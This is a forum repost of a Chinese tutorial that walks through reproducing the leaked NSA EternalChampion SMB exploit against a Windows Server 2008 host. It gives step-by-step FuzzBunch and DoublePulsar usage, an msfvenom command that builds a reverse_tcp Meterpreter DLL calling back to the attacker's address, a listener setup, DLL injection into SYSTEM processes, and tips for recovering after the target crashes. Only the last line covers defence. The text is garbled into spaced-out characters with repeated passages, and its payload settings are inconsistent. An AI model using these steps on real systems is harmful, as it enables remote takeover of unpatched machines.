搜索

[11392] 2017-05-27_NSA武器库之Eternalchampion（永恒冠军）复现

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2017-05-27_NSA武器库之Eternalchampion（永恒冠军）复现 N S A 武 器 库 之 E t e r n a l c h a m p i o n （ 永 恒 冠 军 ） 复 现 T h e   t h o r   F r e e B u f   2 0 1 7 - 0 5 - 2 7 准 备 工 作 攻 击 机 攻 击 机 1 ： ： 带 有 漏 洞 利 用 工 具 集 的 X P ， 并 且 此 次 需 要 准 备 好 W i n H e x ，   I P   1 7 2 . 2 6 . 9 7 . 3 5 攻 击 机 攻 击 机 2 ： ： K a l i ，   I P   1 7 2 . 2 6 . 9 7 . 2 2 6 靶 机 ： 靶 机 ： W i n d o w s   S e r v e r   2 0 0 8   S P 1   x 8 6 ，   I P   2 0 2 . X . X . X ， 已 经 开 启 4 4 5 端 口 开 启 开 启 F u z z B u n c h T a r g e t I P 写 靶 机 I P   2 0 2 . X . X . X ， C a l l B a c k 写 运 行 f b 的 I P ， 也 就 是 1 7 2 . 2 6 . 9 7 . 3 5 ， 不 使 用 R e d i r e c t i o n 开 始 使 用 使 用 s m b t o u c h 探 测 探 测 u s e   s m b t o u c h     e x e c u t e s m b t o u c h 会 为 我 们 探 测 出 目 标 系 统 适 用 的 漏 洞 利 用 程 序
在 这 里 我 们 可 以 看 到 ， 目 标 系 统 是 3 2 位 的 ， E t e r n a l B l u e 和 E t e r n a l S y n e r g y 不 支 持 攻 击 靶 机 ， E t e r n a l R o m a n c e 无 法 攻 击 ， 只 有 E t e r n a l C h a m p i o n 可 以 。 使 用 使 用 D o u b l e p u l s a r 生 成 生 成 s h e l l c o d e s m b t o u c h 成 功 之 后 ， 我 们 使 用 D o u b l e p u l s a r 来 生 成 s h e l l c o d e u s e   D o u b l e p u l s a r 我 们 一 路 回 车 默 认 ， 会 发 现 多 出 来 一 个 名 为 O u t p u t I n s t a l l 的 选 项 ， 选 择 这 个 然 后 输 入 路 径 ， 比 如 说 C : s h e l l c o d e . b i n ， 一 路 回 车 执 行 就 会 生 成 s h e l l c o d e 将 将 s h e l l c o d e 转 换 成 转 换 成 H E X 由 于 E t e r n a l C h a m p i o n 需 要 的 是 S h e l l c o d e B u f f e r 而 不 是 S h e l l c o d e F i l e ， 所 以 这 里 我 们 需 要 将 D o u b l e p u l s a r 生 成 的 s h e l l c o d e 转 换 成 十 六 进 制 ； 如 果 你 用 的 是 E t e r n a l R o m a n c e ， 那 么 应 该 用 的 是 S h e l l c o d e F i l e ， 可 以 跨 过 此 步 使 用 W i n H e x 打 开 我 们 刚 刚 生 成 的 s h e l l c o d e . b i n ， 然 后 选 择 E d i t - C o p y   A l l - H e x   V a l u e s ， 如 下 图 所 示 ：
使 用 使 用 E t e r n a l C h a m p i o n 进 行 攻 击 进 行 攻 击 现 在 s h e l l c o d e 已 经 在 我 们 的 剪 贴 板 中 了 ， 我 们 就 要 使 用 E t e r n a l C h a m p i o n 来 进 行 攻 击 了 。 u s e   E t e r n a l C h a m p i o n 在 之 后 我 们 一 路 回 车 默 认 ， 信 息 应 该 都 是 和 目 标 系 统 相 符 的 。 在 M o d e   : :   D e l i v e r y   m e c h a n i s m 时 像 上 次 一 样 选 择 F B 一 路 回 车 ， 在 程 序 提 示 S h e l l c o d e B u f f e r   : :   D O P U   S h e l l c o d e   b u f f e r 时 右 键 粘 贴 进 那 一 堆 十 六 进 制 ， 由 于 S h e l l c o d e 比 较 长 （ 4 K B ） ， 所 以 可 能 会 花 几 秒 钟 才 会 粘 贴 完 。 在 之 后 我 们 一 路 回 车 默 认 ， 信 息 应 该 都 是 和 目 标 系 统 相 符 的 。 在 M o d e   : :   D e l i v e r y   m e c h a n i s m 时 像 上 次 一 样 选 择 F B 。
之 后 程 序 会 进 行 询 问 ， 我 们 回 车 就 能 够 运 行 E t e r n a l C h a m p i o n 啊 哟 ，   赢 了 ， 金 牌 ， N S A 你 们 这 群 人 真 幽 默 … … 注 意 ： 如 果 你 是 用 的 e x p l o i t 需 要 S h e l l c o d e   F i l e ， 那 么 这 里 直 接 输 入 s h e l l c o d e 的 路 径 ， 本 例 中 为 C : s h e l l c o d e . b i n ， 推 荐 把 s h e l l c o d e 放 在 根 目 录 ， 据 G i t H u b 上 某 人 的 回 复 ， 如 果 放 在 某 个 目 录 下 可 能 会 导 致 e x p l o i t 不 认 。 使 用 使 用 D o u b l e p u l s a r 注 入 恶 意 注 入 恶 意 d l l 在 这 之 后 ， 我 们 使 用 D o u b l e p u l s a r 注 入 恶 意 d l l ， 和 上 次 操 作 基 本 一 致 ， 这 里 我 们 就 再 复 述 下 吧 但 是 在 此 之 前 ， 我 想 看 看 后 门 是 否 存 在 ， 那 就 D o u b l e p u l s a r 中 的 选 择 f u n c t i o n :   1   p i n g ， 就 可 以 确 定 后 门 是 否 存 在 啦
好 ， 咱 还 是 生 成 恶 意 d l l 并 用 D o u b l e p u l s a r 注 入 吧 ！ m s f v e n o m 生 成 恶 意 生 成 恶 意 d l l 切 换 到 K a l i ， 此 次 就 使 用 r e v e r s e _ t c p 了 # 3 2 位 操 作 系 统 ， 所 以 生 成 3 2 位 的 d l l m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 7 2 . 2 6 . 9 7 . 2 2 6   L P O R T = 8 0 8 9   - f   d l l   > b a d b a d . d l l # 打 开 M e t a S p l o i t ， 开 始 监 听 s e t   P A Y L O A D   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p u s e   e x p l o i t / m u l t i / h a n d l e r s e t   L H O S T 1 7 2 . 2 6 . 9 7 . 2 2 6 s e t   L P O R T   8 0 8 9 r u n 之 后 将 这 个 d l l 拷 贝 到 X P 中 ， 使 用 P y t h o n 创 建 个 h t t p 服 务 器 p y t h o n   – m   S i m p l e H T T P S e r v e r   8 0 拿 起 久 违 的 I E ， 下 载 这 个 b a d b a d . d l l 文 件 注 入 d l l   u s e   D o u b l e P u l s a r 一 路 回 车 默 认 ， 只 需 要 选 择 f u n c t i o n   2   R u n   D L L ， 输 入 我 们 的 d l l 文 件 路 径
然 后 最 后 直 接 运 行 ， 就 会 发 现 反 弹 成 功 ， 拿 到 权 限 了 ！ 啊 哟 ， 执 行 不 了 m e t e r p r e t e r 命 令 ？ 在 一 些 情 况 下 ， 我 们 可 能 会 拿 到 m e t e r p r e t e r 的 会 话 ， 但 是 可 能 会 发 现 执 行 不 了 啥 命 令 ， p i n g 下 不 通 了 ， 猜 测 目 标 机 器 蓝 屏 了 ， 那 咋 办 呢 ？ 等 等 直 到 p i n g 通 ， 然 后 再 次 运 行 E t e r n a l C h a m p i o n 攻 击 ， 它 会 记 得 我 们 输 入 的 s h e l l c o d e ， 所 以 一 路 回 车 ， 然 后 再 次 运 行 D o u b l e p u l s a r ， 在 程 序 提 示 P r o c e s s N a m e   [ l s a s s . e x e ] : 选 择 其 他 的 以 N T   A u t h o r i t y S y s t e m 运 行 的 进 程 名 ， 比 如 说 s p o o l s v . e x e ,   S e a r c h I n d e x e r . e x e ,   l s m . e x e ， 这 就 自 己 试 试 了 。 然 后 就 应 该 不 会 蓝 屏 啦 ~ 其 实 选 择 啥 进 程 其 实 都 是 可 以 的 ， 大 不 了 运 行 m e t e r p r e t e r 的 时 候 m i g r a t e 到 其 他 进 程 就 可 以 了 。 后 记 E t e r n a l B l u e 支 持 的 系 统 支 持 的 系 统 通 过 查 看 x m l 文 件 能 发 现 ， 有 点 奇 怪 ， E t e r n a l B l u e 的 配 置 文 件 中 支 持 了 这 么 多 系 统 ， 但 是 有 时 却 报 告 不 支 持 。
大 家 能 看 到 ， E t e r n a l B l u e 和 E t e r n a l C h a m p i o n 是 在 W i n d o w s S p e c i a l s 这 个 目 录 下 ， S p e c i a l ， 足 以 看 到 这 俩 工 具 威 力 是 多 么 巨 大 吧 ！ 真 是 可 怕 … … 防 范 手 段 防 范 手 段 安 装 S M 1 7 - 0 1 0 补 丁 ， 开 启 防 火 墙 过 滤 4 4 5 ， 关 闭 S M B 服 务 。 * 本 文 作 者 ： T h e   t h o r ， 转 载 请 注 明 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理